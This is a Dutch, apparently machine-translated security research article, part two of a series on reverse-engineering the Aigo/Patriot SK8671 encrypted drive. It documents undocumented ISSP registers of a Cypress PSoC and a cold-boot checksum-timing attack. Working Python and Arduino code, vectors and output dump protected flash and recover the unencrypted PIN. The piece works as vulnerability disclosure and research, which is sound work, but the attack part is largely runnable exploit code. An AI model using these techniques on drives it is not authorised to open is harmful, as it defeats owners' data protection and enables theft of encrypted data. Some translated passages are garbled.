Omkeren en hacken van Aigo zelfversleutelende externe harde schijf. Deel 2: Een dump nemen van Cypress PSoC

Dit is het tweede en laatste deel van het artikel over het hacken van externe zelfversleutelende schijven. Laat me je eraan herinneren dat een collega me onlangs een Patriot (Aigo) SK8671-harde schijf heeft gebracht, en ik besloot deze om te draaien, en nu deel ik wat eruit kwam. Voordat u verder leest, moet u dit eerst lezen eerste deel artikelen.

4. We beginnen een dump te maken van de interne PSoC-flashdrive
5. ISSP-protocol
– 5.1. Wat is ISSP
– 5.2. Ontraadselende vectoren
– 5.3. Communicatie met PSoC
– 5.4. Identificatie van registers op de chip
– 5.5. Beveiligingsbitjes
6. Eerste (mislukte) aanval: ROMX
7. Tweede aanval: tracering van koude start
– 7.1. Implementatie
– 7.2. Het resultaat lezen
– 7.3. Flash binaire reconstructie
– 7.4. Het opslagadres van de pincode zoeken
– 7.5. Het dumpen van blok nr. 126
– 7.6. Herstel van pincode
8. Wat nu?
9. conclusie

Omkeren en hacken van Aigo zelfversleutelende externe harde schijf. Deel 2: Een dump nemen van Cypress PSoC


4. We beginnen een dump te maken van de interne PSoC-flashdrive

Alles wijst er dus op (zoals we hebben vastgesteld in [het eerste deel]()) dat de pincode is opgeslagen in de flitsdieptes van de PSoC. Daarom moeten we deze flitsdieptes lezen. Voorkant van noodzakelijke werkzaamheden:

  • de controle over de “communicatie” met de microcontroller overnemen;
  • een manier vinden om te controleren of deze “communicatie” beschermd is tegen lezen van buitenaf;
  • een manier vinden om de bescherming te omzeilen.

Er zijn twee plaatsen waar het zinvol is om naar een geldige pincode te zoeken:

  • intern flashgeheugen;
  • SRAM, waar de pincode kan worden opgeslagen om deze te vergelijken met de door de gebruiker ingevoerde pincode.

Vooruitkijkend zal ik opmerken dat ik er nog steeds in ben geslaagd een dump te maken van de interne PSoC-flashdrive - waarbij ik het beveiligingssysteem omzeilde met behulp van een hardwareaanval genaamd "cold boot tracing" - nadat ik de ongedocumenteerde mogelijkheden van het ISSP-protocol had teruggedraaid. Hierdoor kon ik de daadwerkelijke pincode direct dumpen.

$ ./psoc.py 
syncing: KO OK
[...]
PIN: 1 2 3 4 5 6 7 8 9

Definitieve programmacode:

5. ISSP-protocol

5.1. Wat is ISSP

‘Communicatie’ met een microcontroller kan verschillende dingen betekenen: van ‘leverancier tot leverancier’ tot interactie met behulp van een serieel protocol (bijvoorbeeld ICSP voor de PIC van Microchip).

Cypress heeft hiervoor zijn eigen protocol, genaamd ISSP (in-system serial programming protocol), dat gedeeltelijk wordt beschreven in technische specificatie. Octrooi US7185162 geeft ook wat informatie. Er is ook een OpenSource-equivalent genaamd HSSP (we zullen het later gebruiken). ISSP werkt als volgt:

  • herstart PSoC;
  • voer het magische getal uit naar de seriële datapin van deze PSoC; om de externe programmeermodus te openen;
  • verzend commando's, dit zijn lange bitreeksen die "vectoren" worden genoemd.

De ISSP-documentatie definieert deze vectoren voor slechts een klein handvol opdrachten:

  • Initialiseren-1
  • Initialiseren-2
  • Initialiseren-3 (3V- en 5V-opties)
  • ID-INSTELLING
  • LEES-ID-WOORD
  • SET-BLOCK-NUM: 10011111010dddddddd111, waarbij dddddddd=blok #
  • BULK WISSEN
  • PROGRAMMA-BLOK
  • VERIFICATIE-INSTELLING
  • READ-BYTE: 10110aaaaaaZDDDDDDDDZ1, waarbij DDDDDDDD = data uit, aaaaaa = adres (6 bits)
  • SCHRIJF-BYTE: 10010aaaaaaddddddd111, waarbij dddddddd = data in, aaaaaa = adres (6 bits)
  • SECURE
  • CHECKSUM-SETUP
  • READ-CHECKSUM: 10111111001ZDDDDDDDDZ110111111000ZDDDDDDDDZ1, waarbij DDDDDDDDDDDDDDDD = gegevens uit: controlesom van apparaat
  • WIS BLOK

De vector voor Initialize-2:

1101111011100000000111 1101111011000000000111
1001111100000111010111 1001111100100000011111
1101111010100000000111 1101111010000000011111
1001111101110000000111 1101111100100110000111
1101111101001000000111 1001111101000000001111
1101111000000000110111 1101111100000000000111
1101111111100010010111

Alle vectoren hebben dezelfde lengte: 22 bits. De HSSP-documentatie bevat aanvullende informatie over ISSP: “Een ISSP-vector is niets meer dan een bitreeks die een reeks instructies vertegenwoordigt.”

5.2. Ontraadselende vectoren

Laten we uitzoeken wat hier aan de hand is. Aanvankelijk ging ik ervan uit dat dezelfde vectoren ruwe versies van M8C-instructies waren, maar nadat ik deze hypothese had gecontroleerd, ontdekte ik dat de opcodes van de bewerkingen niet overeenkwamen.

Toen googlede ik de vector hierboven en kwam deze tegen dit een studie waarin de auteur, hoewel hij niet in detail treedt, enkele nuttige tips geeft: “Elke instructie begint met drie bits die overeenkomen met een van de vier geheugensteuntjes (lezen uit RAM, schrijven naar RAM, leesregister, schrijfregister). Dan zijn er acht adresbits, gevolgd door acht databits (lezen of schrijven) en tenslotte drie stopbits.”

Toen kon ik zeer nuttige informatie uit de sectie Supervisory ROM (SROM) halen. technische handleiding. SROM is een hardgecodeerde ROM in de PSoC die hulpprogrammafuncties biedt (op een vergelijkbare manier als Syscall) voor programmacode die in de gebruikersruimte wordt uitgevoerd:

  • 00u: SWBootReset
  • 01u: LeesBlok
  • 02u: Schrijfblok
  • 03u: WisBlok
  • 06u: Tafellezen
  • 07u: CheckSom
  • 08u: Kalibreren0
  • 09u: Kalibreren1

Door vectornamen te vergelijken met SROM-functies, kunnen we de verschillende bewerkingen die door dit protocol worden ondersteund, toewijzen aan de verwachte SROM-parameters. Dankzij dit kunnen we de eerste drie bits van ISSP-vectoren decoderen:

  • 100 => “wrem”
  • 101 => “rdmem”
  • 110 => “fout”
  • 111 => “rdreg”

Een volledig inzicht in de processen op de chip kan echter alleen worden verkregen via directe communicatie met de PSoC.

5.3. Communicatie met PSoC

Sinds Dirk Petrautsky dat al heeft gedaan geporteerd Cypress's HSSP-code op Arduino, ik gebruikte Arduino Uno om verbinding te maken met de ISSP-connector van het toetsenbordbord.

Houd er rekening mee dat ik in de loop van mijn onderzoek de code van Dirk behoorlijk heb gewijzigd. Je kunt mijn wijziging vinden op GitHub: hier en het bijbehorende Python-script voor communicatie met Arduino, in mijn repository cypress_psoc_tools.

Dus met Arduino gebruikte ik eerst alleen de ‘officiële’ vectoren voor ‘communicatie’. Ik heb geprobeerd het interne ROM te lezen met behulp van de opdracht VERIFY. Zoals verwacht kon ik dit niet doen. Waarschijnlijk vanwege het feit dat leesbeveiligingsbits in de flashdrive zijn geactiveerd.

Vervolgens heb ik een paar van mijn eigen eenvoudige vectoren gemaakt voor het schrijven en lezen van geheugen/registers. Houd er rekening mee dat we de volledige SROM kunnen lezen, ook al is de flashdrive beveiligd!

5.4. Identificatie van registers op de chip

Nadat ik naar de “gedemonteerde” vectoren had gekeken, ontdekte ik dat het apparaat ongedocumenteerde registers (0xF8-0xFA) gebruikt om M8C-opcodes te specificeren, die direct worden uitgevoerd en de beveiliging omzeilen. Hierdoor kon ik verschillende opcodes uitvoeren, zoals "ADD", "MOV A, X", "PUSH" of "JMP". Dankzij hen (door te kijken naar de bijwerkingen die ze hebben op registers) kon ik bepalen welke van de ongedocumenteerde registers eigenlijk reguliere registers waren (A, X, SP en PC).

Als gevolg hiervan ziet de “gedemonteerd” code die door de tool HSSP_disas.rb wordt gegenereerd er als volgt uit (ik heb opmerkingen toegevoegd voor de duidelijkheid):

--== init2 ==--
[DE E0 1C] wrreg CPU_F (f7), 0x00   # сброс флагов
[DE C0 1C] wrreg SP (f6), 0x00      # сброс SP
[9F 07 5C] wrmem KEY1, 0x3A     # обязательный аргумент для SSC
[9F 20 7C] wrmem KEY2, 0x03     # аналогично
[DE A0 1C] wrreg PCh (f5), 0x00     # сброс PC (MSB) ...
[DE 80 7C] wrreg PCl (f4), 0x03     # (LSB) ... до 3 ??
[9F 70 1C] wrmem POINTER, 0x80      # RAM-указатель для выходных данных
[DF 26 1C] wrreg opc1 (f9), 0x30        # Опкод 1 => "HALT"
[DF 48 1C] wrreg opc2 (fa), 0x40        # Опкод 2 => "NOP"
[9F 40 3C] wrmem BLOCKID, 0x01  # BLOCK ID для вызова SSC
[DE 00 DC] wrreg A (f0), 0x06       # номер "Syscall" : TableRead
[DF 00 1C] wrreg opc0 (f8), 0x00        # Опкод для SSC, "Supervisory SROM Call"
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12    # Недокумментированная операция: выполнить внешний опкод

5.5. Beveiligingsbitjes

In dit stadium kan ik al communiceren met de PSoC, maar ik heb nog steeds geen betrouwbare informatie over de beveiligingsbits van de flashdrive. Ik was zeer verrast door het feit dat Cypress de gebruiker van het apparaat geen enkele mogelijkheid biedt om te controleren of de beveiliging is geactiveerd. Ik dook dieper in Google om eindelijk te begrijpen dat de HSSP-code van Cypress was bijgewerkt nadat Dirk zijn wijziging had vrijgegeven. En dus! Deze nieuwe vector is verschenen:

[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[9F A0 1C] wrmem 0xFD, 0x00 # неизвестные аргументы
[9F E0 1C] wrmem 0xFF, 0x00 # аналогично
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 02 1C] wrreg A (f0), 0x10   # недокументированный syscall !
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

Met behulp van deze vector (zie read_security_data in psoc.py) krijgen we alle beveiligingsbits in SRAM op 0x80, waarbij er twee bits per beschermd blok zijn.

Het resultaat is deprimerend: alles wordt beschermd in de modus “extern lezen en schrijven uitschakelen”. Daarom kunnen we niet alleen niets van een flashstation lezen, maar we kunnen ook niets schrijven (bijvoorbeeld om daar een ROM-dumper te installeren). En de enige manier om de bescherming uit te schakelen is door de hele chip volledig te wissen. 🙁

6. Eerste (mislukte) aanval: ROMX

We kunnen echter de volgende truc proberen: aangezien we de mogelijkheid hebben om willekeurige opcodes uit te voeren, waarom zouden we dan niet ROMX uitvoeren, dat wordt gebruikt om flash-geheugen te lezen? Deze aanpak heeft een goede kans van slagen. Omdat de ReadBlock-functie die gegevens uit de SROM leest (die door vectoren wordt gebruikt) controleert of deze wordt aangeroepen vanuit de ISSP. Het is echter mogelijk dat de ROMX-opcode niet over een dergelijke controle beschikt. Dus hier is de Python-code (na het toevoegen van een paar helperklassen aan de Arduino-code):

for i in range(0, 8192):
    write_reg(0xF0, i>>8)       # A = 0
    write_reg(0xF3, i&0xFF)     # X = 0
    exec_opcodes("x28x30x40")    # ROMX, HALT, NOP
    byte = read_reg(0xF0)       # ROMX reads ROM[A|X] into A
    print "%02x" % ord(byte[0]) # print ROM byte

Helaas werkt deze code niet. 🙁 Of beter gezegd: het werkt, maar aan de uitvoer krijgen we onze eigen opcodes (0x28 0x30 0x40)! Ik denk niet dat de overeenkomstige functionaliteit van het apparaat een element van leesbeveiliging is. Dit lijkt meer op een technische truc: bij het uitvoeren van externe opcodes wordt de ROM-bus omgeleid naar een tijdelijke buffer.

7. Tweede aanval: tracering van koude start

Omdat de ROMX-truc niet werkte, begon ik na te denken over een andere variant van deze truc, beschreven in de publicatie "Te veel licht werpen op de firmwarebescherming van een microcontroller".

7.1. Implementatie

De ISSP-documentatie biedt de volgende vector voor CHECKSUM-SETUP:

[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[9F 40 1C] wrmem BLOCKID, 0x00
[DE 00 FC] wrreg A (f0), 0x07
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

Dit roept in wezen de SROM-functie 0x07 aan, zoals gepresenteerd in de documentatie (cursief van mij):

Deze functie checksum-verificatie. Het berekent een 16-bits controlesom van het aantal door de gebruiker opgegeven blokken in één flashbank, beginnend bij nul. De parameter BLOCKID wordt gebruikt om het aantal blokken door te geven dat zal worden gebruikt bij het berekenen van de controlesom. Een waarde van "1" berekent alleen de controlesom voor blok nul; terwijl "0" zorgt ervoor dat de totale controlesom van alle 256 blokken van de flashbank wordt berekend. De 16-bits controlesom wordt geretourneerd via KEY1 en KEY2. De KEY1-parameter slaat de 8 bits van lage orde van de controlesom op, en de KEY2-parameter slaat de 8 bits van hoge orde op. Voor apparaten met meerdere flashbanken wordt de checksum-functie voor elk afzonderlijk aangeroepen. Het banknummer waarmee het zal werken, wordt ingesteld door het FLS_PR1-register (door het bit daarin in te stellen dat overeenkomt met de doel-flashbank).

Merk op dat dit een eenvoudige controlesom is: de bytes worden eenvoudigweg na elkaar opgeteld; geen fancy CRC-eigenaardigheden. Omdat ik wist dat de M8C-kern een zeer klein aantal registers heeft, ging ik er bovendien van uit dat bij het berekenen van de controlesom tussenliggende waarden zullen worden vastgelegd in dezelfde variabelen die uiteindelijk naar de uitvoer zullen gaan: KEY1 (0xF8) / KEY2 ( 0xF9).

Dus in theorie ziet mijn aanval er als volgt uit:

  1. Wij verbinden via ISSP.
  2. We starten de controlesomberekening met behulp van de CHECKSUM-SETUP-vector.
  3. We herstarten de processor na een bepaalde tijd T.
  4. We lezen RAM om de huidige controlesom C te krijgen.
  5. Herhaal stap 3 en 4 en verhoog T elke keer een beetje.
  6. We herstellen gegevens van een flashstation door de vorige controlesom C af te trekken van de huidige.

Er is echter een probleem: de Initialize-1-vector die we moeten verzenden na het opnieuw opstarten overschrijft KEY1 en KEY2:

1100101000000000000000  # Магия, переводящая PSoC в режим программирования
nop
nop
nop
nop
nop
[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A # контрольная сумма перезаписывается здесь
[9F 20 7C] wrmem KEY2, 0x03 # и здесь
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 01 3C] wrreg A (f0), 0x09   # SROM-функция 9
[DF 00 1C] wrreg opc0 (f8), 0x00    # SSC
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

Deze code overschrijft onze kostbare controlesom door Calibrate1 (SROM-functie 9) aan te roepen... Misschien kunnen we gewoon het magische getal (vanaf het begin van de code hierboven) naar de programmeermodus sturen en vervolgens de SRAM lezen? En ja, het werkt! De Arduino-code die deze aanval implementeert is vrij eenvoudig:

case Cmnd_STK_START_CSUM:
    checksum_delay = ((uint32_t)getch())<<24;
    checksum_delay |= ((uint32_t)getch())<<16;
    checksum_delay |= ((uint32_t)getch())<<8;
    checksum_delay |= getch();
    if(checksum_delay > 10000) {
        ms_delay = checksum_delay/1000;
        checksum_delay = checksum_delay%1000;
    }
    else {
        ms_delay = 0;
    }
    send_checksum_v();
    if(checksum_delay)
        delayMicroseconds(checksum_delay);
    delay(ms_delay);
    start_pmode();

  1. Lees checkum_delay.
  2. Voer een controlesomberekening uit (send_checksum_v).
  3. Wacht een bepaalde tijd; rekening houdend met de volgende valkuilen:
    • Ik heb veel tijd verspild totdat ik erachter kwam wat het bleek te zijn vertragingMicroseconden werkt alleen correct met vertragingen van maximaal 16383 μs;
    • en vervolgens opnieuw dezelfde hoeveelheid tijd gedood totdat ik ontdekte dat delayMicroseconds, als er 0 aan wordt doorgegeven als invoer, volledig verkeerd werkt!
  4. Start de PSoC opnieuw op in de programmeermodus (we sturen alleen het magische getal, zonder initialisatievectoren te verzenden).

Laatste code in Python:

for delay in range(0, 150000):  # задержка в микросекундах
    for i in range(0, 10):      # количество считывания для каждойиз задержек
        try:
            reset_psoc(quiet=True)  # перезагрузка и вход в режим программирования
            send_vectors()      # отправка инициализирующих векторов
            ser.write("x85"+struct.pack(">I", delay)) # вычислить контрольную сумму + перезагрузиться после задержки
            res = ser.read(1)       # считать arduino ACK
        except Exception as e:
            print e
            ser.close()
            os.system("timeout -s KILL 1s picocom -b 115200 /dev/ttyACM0 2>&1 > /dev/null")
            ser = serial.Serial('/dev/ttyACM0', 115200, timeout=0.5) # открыть последовательный порт
            continue
        print "%05d %02X %02X %02X" % (delay,      # считать RAM-байты
                read_regb(0xf1),
                read_ramb(0xf8),
                read_ramb(0xf9))

In een notendop, wat deze code doet:

  1. Start de PSoC opnieuw op (en stuurt deze een magisch nummer).
  2. Verzendt volledige initialisatievectoren.
  3. Roept de Arduino-functie Cmnd_STK_START_CSUM (0x85) aan, waarbij de vertraging in microseconden als parameter wordt doorgegeven.
  4. Leest de controlesom (0xF8 en 0xF9) en het ongedocumenteerde register 0xF1.

Deze code wordt 10 keer uitgevoerd in 1 microseconde. 0xF1 is hier opgenomen omdat dit het enige register was dat veranderde bij het berekenen van de controlesom. Misschien is het een soort tijdelijke variabele die door de rekenkundige logische eenheid wordt gebruikt. Let op de lelijke hack die ik gebruik om de Arduino te resetten met behulp van picocom wanneer de Arduino geen tekenen van leven meer vertoont (geen idee waarom).

7.2. Het resultaat lezen

Het resultaat van het Python-script ziet er als volgt uit (vereenvoudigd voor leesbaarheid):

DELAY F1 F8 F9  # F1 – вышеупомянутый неизвестный регистр
                  # F8 младший байт контрольной суммы
                  # F9 старший байт контрольной суммы

00000 03 E1 19
[...]
00016 F9 00 03
00016 F9 00 00
00016 F9 00 03
00016 F9 00 03
00016 F9 00 03
00016 F9 00 00  # контрольная сумма сбрасывается в 0
00017 FB 00 00
[...]
00023 F8 00 00
00024 80 80 00  # 1-й байт: 0x0080-0x0000 = 0x80 
00024 80 80 00
00024 80 80 00
[...]
00057 CC E7 00   # 2-й байт: 0xE7-0x80: 0x67
00057 CC E7 00
00057 01 17 01  # понятия не имею, что здесь происходит
00057 01 17 01
00057 01 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 F8 E7 00  # Снова E7?
00058 D0 17 01
[...]
00059 E7 E7 00
00060 17 17 00  # Хмммммм
[...]
00062 00 17 00
00062 00 17 00
00063 01 17 01  # А, дошло! Вот он же перенос в старший байт
00063 01 17 01
[...]
00075 CC 17 01  # Итак, 0x117-0xE7: 0x30

Dat gezegd hebbende, hebben we een probleem: aangezien we met een daadwerkelijke controlesom werken, verandert een null-byte de gelezen waarde niet. Omdat de gehele berekeningsprocedure (8192 bytes) echter 0,1478 seconden duurt (met kleine variaties elke keer dat deze wordt uitgevoerd), wat neerkomt op ongeveer 18,04 μs per byte, kunnen we deze tijd gebruiken om de controlesomwaarde op geschikte tijdstippen te controleren. Bij de eerste runs wordt alles vrij gemakkelijk gelezen, omdat de duur van de rekenprocedure altijd vrijwel hetzelfde is. Het einde van deze dump is echter minder nauwkeurig omdat de “kleine timingafwijkingen” bij elke run samen aanzienlijk worden:

134023 D0 02 DD
134023 CC D2 DC
134023 CC D2 DC
134023 CC D2 DC
134023 FB D2 DC
134023 3F D2 DC
134023 CC D2 DC
134024 02 02 DC
134024 CC D2 DC
134024 F9 02 DC
134024 03 02 DD
134024 21 02 DD
134024 02 D2 DC
134024 02 02 DC
134024 02 02 DC
134024 F8 D2 DC
134024 F8 D2 DC
134025 CC D2 DC
134025 EF D2 DC
134025 21 02 DD
134025 F8 D2 DC
134025 21 02 DD
134025 CC D2 DC
134025 04 D2 DC
134025 FB D2 DC
134025 CC D2 DC
134025 FB 02 DD
134026 03 02 DD
134026 21 02 DD

Dat zijn 10 dumps voor elke microseconde vertraging. De totale gebruikstijd voor het dumpen van alle 8192 bytes van een flashdrive is ongeveer 48 uur.

7.3. Flash binaire reconstructie

Ik ben nog niet klaar met het schrijven van de code die de programmacode van de flashdrive volledig reconstrueert, rekening houdend met alle tijdsafwijkingen. Ik heb het begin van deze code echter al hersteld. Om er zeker van te zijn dat ik het correct deed, heb ik het gedemonteerd met behulp van m8cdis:

0000: 80 67   jmp  0068h     ; Reset vector
[...]
0068: 71 10   or  F,010h
006a: 62 e3 87 mov  reg[VLT_CR],087h
006d: 70 ef   and  F,0efh
006f: 41 fe fb and  reg[CPU_SCR1],0fbh
0072: 50 80   mov  A,080h
0074: 4e    swap A,SP
0075: 55 fa 01 mov  [0fah],001h
0078: 4f    mov  X,SP
0079: 5b    mov  A,X
007a: 01 03   add  A,003h
007c: 53 f9   mov  [0f9h],A
007e: 55 f8 3a mov  [0f8h],03ah
0081: 50 06   mov  A,006h
0083: 00    ssc
[...]
0122: 18    pop  A
0123: 71 10   or  F,010h
0125: 43 e3 10 or  reg[VLT_CR],010h
0128: 70 00   and  F,000h ; Paging mode changed from 3 to 0
012a: ef 62   jacc 008dh
012c: e0 00   jacc 012dh
012e: 71 10   or  F,010h
0130: 62 e0 02 mov  reg[OSC_CR0],002h
0133: 70 ef   and  F,0efh
0135: 62 e2 00 mov  reg[INT_VC],000h
0138: 7c 19 30 lcall 1930h
013b: 8f ff   jmp  013bh
013d: 50 08   mov  A,008h
013f: 7f    ret

Ziet er heel plausibel uit!

7.4. Het opslagadres van de pincode zoeken

Nu we de controlesom kunnen lezen op de momenten die we nodig hebben, kunnen we eenvoudig controleren hoe en waar deze verandert wanneer we:

  • voer de verkeerde pincode in;
  • wijzig de pincode.

Om het geschatte opslagadres te vinden, heb ik na een herstart eerst een checksum-dump gemaakt in stappen van 10 ms. Vervolgens heb ik de verkeerde pincode ingevoerd en hetzelfde gedaan.

Het resultaat was niet erg prettig, aangezien er veel veranderingen waren. Maar uiteindelijk kon ik vaststellen dat de controlesom ergens tussen de 120000 µs en 140000 µs vertraging veranderde. Maar de "pincode" die ik daar weergaf, was volkomen onjuist - vanwege een artefact van de delayMicroseconds-procedure, die vreemde dingen doet als er 0 aan wordt doorgegeven.

Toen, na bijna 3 uur te hebben doorgebracht, herinnerde ik me dat de SROM-systeemaanroep CheckSum een ​​argument als invoer ontvangt dat het aantal blokken voor de checksum specificeert! Dat. we kunnen het opslagadres van de pincode en de teller voor “onjuiste pogingen” eenvoudig lokaliseren, met een nauwkeurigheid tot een blok van 64 bytes.

Mijn eerste runs leverden het volgende resultaat op:

Omkeren en hacken van Aigo zelfversleutelende externe harde schijf. Deel 2: Een dump nemen van Cypress PSoC

Vervolgens veranderde ik de pincode van "123456" in "1234567" en kreeg:

Omkeren en hacken van Aigo zelfversleutelende externe harde schijf. Deel 2: Een dump nemen van Cypress PSoC

Zo lijken de pincode en de teller van foutieve pogingen opgeslagen te zijn in blok nr. 126.

7.5. Het dumpen van blok nr. 126

Blok #126 zou zich ergens rond 125x64x18 = 144000μs moeten bevinden, vanaf het begin van de controlesomberekening, in mijn volledige dump, en het ziet er redelijk plausibel uit. Vervolgens kreeg ik, nadat ik handmatig talloze ongeldige dumps had uitgezocht (vanwege de opeenstapeling van "kleine timingafwijkingen"), deze bytes (met een latentie van 145527 μs):

Omkeren en hacken van Aigo zelfversleutelende externe harde schijf. Deel 2: Een dump nemen van Cypress PSoC

Het is duidelijk dat de pincode in onversleutelde vorm wordt opgeslagen! Deze waarden zijn uiteraard niet in ASCII-codes geschreven, maar het blijkt dat ze de metingen van het capacitieve toetsenbord weerspiegelen.

Ten slotte heb ik nog wat tests uitgevoerd om erachter te komen waar de teller voor slechte pogingen was opgeslagen. Hier is het resultaat:

Omkeren en hacken van Aigo zelfversleutelende externe harde schijf. Deel 2: Een dump nemen van Cypress PSoC

0xFF - betekent "15 pogingen" en neemt af bij elke mislukte poging.

7.6. Herstel van pincode

Hier is mijn lelijke code die het bovenstaande samenvoegt:

def dump_pin():
  pin_map = {0x24: "0", 0x25: "1", 0x26: "2", 0x27:"3", 0x20: "4", 0x21: "5",
        0x22: "6", 0x23: "7", 0x2c: "8", 0x2d: "9"}
  last_csum = 0
  pin_bytes = []
  for delay in range(145495, 145719, 16):
    csum = csum_at(delay, 1)
    byte = (csum-last_csum)&0xFF
    print "%05d %04x (%04x) => %02x" % (delay, csum, last_csum, byte)
    pin_bytes.append(byte)
    last_csum = csum
  print "PIN: ",
  for i in range(0, len(pin_bytes)):
    if pin_bytes[i] in pin_map:
      print pin_map[pin_bytes[i]],
  print

Hier is het resultaat van de uitvoering ervan:

$ ./psoc.py 
syncing: KO OK
Resetting PSoC: KO Resetting PSoC: KO Resetting PSoC: OK
145495 53e2 (0000) => e2
145511 5407 (53e2) => 25
145527 542d (5407) => 26
145543 5454 (542d) => 27
145559 5474 (5454) => 20
145575 5495 (5474) => 21
145591 54b7 (5495) => 22
145607 54da (54b7) => 23
145623 5506 (54da) => 2c
145639 5506 (5506) => 00
145655 5533 (5506) => 2d
145671 554c (5533) => 19
145687 554e (554c) => 02
145703 554e (554e) => 00
PIN: 1 2 3 4 5 6 7 8 9

Hoera! Werken!

Houd er rekening mee dat de latentiewaarden die ik heb gebruikt waarschijnlijk relevant zijn voor één specifieke PSoC: degene die ik heb gebruikt.

8. Wat nu?

Laten we het dus samenvatten aan de PSoC-kant, in de context van onze Aigo-drive:

  • we kunnen SRAM lezen, zelfs als het tegen lezen beveiligd is;
  • We kunnen de anti-swipe-beveiliging omzeilen door een cold boot trace-aanval te gebruiken en de pincode direct uit te lezen.

Onze aanval vertoont echter enkele tekortkomingen als gevolg van synchronisatieproblemen. Het kan als volgt worden verbeterd:

  • een hulpprogramma schrijven om de uitvoergegevens die worden verkregen als resultaat van een “cold boot trace”-aanval correct te decoderen;
  • gebruik een FPGA-gadget om nauwkeurigere tijdsvertragingen te creëren (of gebruik Arduino-hardwaretimers);
  • probeer nog een aanval: voer een opzettelijk onjuiste pincode in, start het RAM-geheugen opnieuw op en dump het, in de hoop dat de juiste pincode ter vergelijking in het RAM wordt opgeslagen. Dit is echter niet zo eenvoudig te doen op Arduino, aangezien het Arduino-signaalniveau 5 volt is, terwijl het bord dat we onderzoeken werkt met 3,3 volt-signalen.

Een interessant ding dat kan worden geprobeerd, is spelen met het spanningsniveau om de leesbeveiliging te omzeilen. Als deze aanpak zou werken, zouden we absoluut nauwkeurige gegevens van de flashdrive kunnen halen - in plaats van te vertrouwen op het lezen van een controlesom met onnauwkeurige timingvertragingen.

Omdat de SROM waarschijnlijk de guardbits leest via de ReadBlock-systeemaanroep, zouden we hetzelfde kunnen doen als beschreven op de blog van Dmitry Nedospasov - een herimplementatie van de aanval van Chris Gerlinski, aangekondigd op de conferentie "REcon Brussel 2017".

Een ander leuk ding dat gedaan zou kunnen worden, is de behuizing van de chip afsnijden: een SRAM-dump nemen, ongedocumenteerde systeemoproepen en kwetsbaarheden identificeren.

9. conclusie

De bescherming van deze schijf laat dus veel te wensen over, omdat hij een gewone (niet “geharde”) microcontroller gebruikt om de pincode op te slaan... Bovendien heb ik (nog) niet gekeken hoe het met data gaat encryptie op dit apparaat!

Wat kun je Aigo aanbevelen? Na het analyseren van een aantal modellen gecodeerde HDD-schijven, heb ik in 2015 presentatie over SyScan, waarin hij de beveiligingsproblemen van verschillende externe HDD-schijven onderzocht en aanbevelingen deed over wat daarin verbeterd kon worden. 🙂

Ik heb twee weekenden en meerdere avonden besteed aan dit onderzoek. In totaal ongeveer 40 uur. Tellen vanaf het allereerste begin (toen ik de schijf opende) tot het einde (pincodedump). Dezelfde 40 uur omvatten de tijd die ik heb besteed aan het schrijven van dit artikel. Het was een heel spannende reis.

Bron: www.habr.com

Voeg een reactie